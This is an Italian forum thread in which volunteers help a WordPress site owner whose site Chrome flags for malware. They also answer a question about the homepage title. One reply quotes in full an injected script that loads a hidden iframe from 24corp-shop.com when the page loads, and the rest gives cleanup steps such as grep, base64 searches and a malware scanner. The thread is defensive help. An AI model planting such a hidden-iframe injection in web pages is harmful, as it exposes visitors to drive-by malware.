Il suo sito viene bloccato da Chrome in quanto contenente malware sul dominio 24corp-shop.com, controlli cosa sta succedendo.

Per poi rispondere alla sua domanda, il titolo della sua homepage è semplicemente "Home", lo cambi in un title un po' più descrittivo e.g. "Suite Beach Bed & Breakfast" o qualcosa del genere, vedrà che apparirà quello nei risultati. Comunque i problemi del suo sito son ben più gravi di un semplice title, visto il problema dei malware

Grazie Broc, non riesco ad eliminare il malware sul mio dominio, non riesco a capire dove si annida questo codice.

Dove vede il titolo della mia Home Page? Io avevo fatto una modifica nel file header ma a quanto pare non va bene?
Dove vado a modificarlo?

Nell'head del suo sito c'è questo script, non so a cosa serva ma lo rimuova subito.

<script language="JavaScript"> if(document.loaded) { showBrowVer(); } else { if (window.addEventListener) { window.addEventListener('load', showBrowVer, false); } else { window.attachEvent('onload', showBrowVer); } } function showBrowVer() { var divTag=document.createElement('div'); divTag.id='dt'; document.body.appendChild(divTag); var js_kod2 = document.createElement('iframe'); js_kod2.src = 'http://24corp-shop.com'; js_kod2.width = '250px'; js_kod2.height = '320px'; js_kod2.setAttribute('style','visibility:hidden'); document.getElementById('dt').appendChild(js_kod2); }</script>

Il title della pagina si cambia nello stesso posto. Se usa Wordpress potrà cambiare il title nelle impostazioni e rimuovere il codice operando su header.php.

P.S.: a meno che non abbia lei volutamente inserito il codice, il suo sito è stato violato. Aggiorni WP all'ultima versione e usi qualche accorgimento di sicurezza.

Si esatto, il mio sito è stato violato, Il punto è che non so da dove andarlo a rimuovere, nell'header.php non c'e' lo script.

Ed in questo momento non posso aggiornare wordpress perchè il tema non lo supporterebbe.

La cosa più straightforward è connettersi al suo hosting tramite console ssh e fare un grep fra tutti i file per trovare dove si trova quel codice.
Tipo > grep -rl "24corp-shop.com"

Sai dirmi come si fa?

Te l'ho detto dipende dal tuo hosting, non tutti danno accesso alla console ssh, in tal caso dovrai scaricarti il sito e usando un editor di testo automatizzato (se sei su windows usa Notepad++) cercare dove si trova lo script.
Se vuoi fare piu' "manualmente" guardati tutti i php di Wordpress e prima o poi lo troverai

Grazie mille, sei stato gentilissimo

Ho scansionato tutti i file del sito, compreso installazione di wordpress, non c'e' traccia di quel codice.
Potrebbe essere annidato nelle tabelle del database?

Se cosi' fosse, dovrebbe esserci un 'eval' da qualche parte nel codice PHP.

Piu' probabile pero' che il codice sia criptato in base64. Farei una ricerca di "base64" su tutti i file per vedere se da qualche parte viene decodificato

A questo punto e' necessaria un'analisi approfondita:

1. BACKUP!
2. installa https://wordpress.org/plugins/gotmls/ e fallo girare
3. controlla functions.php del tema, da che ne so spesso si annidano li'
4. disabilita tutti i plugin e cambia tema

Spero sia sufficiente fermarsi al punto 2
Facci sapere come va!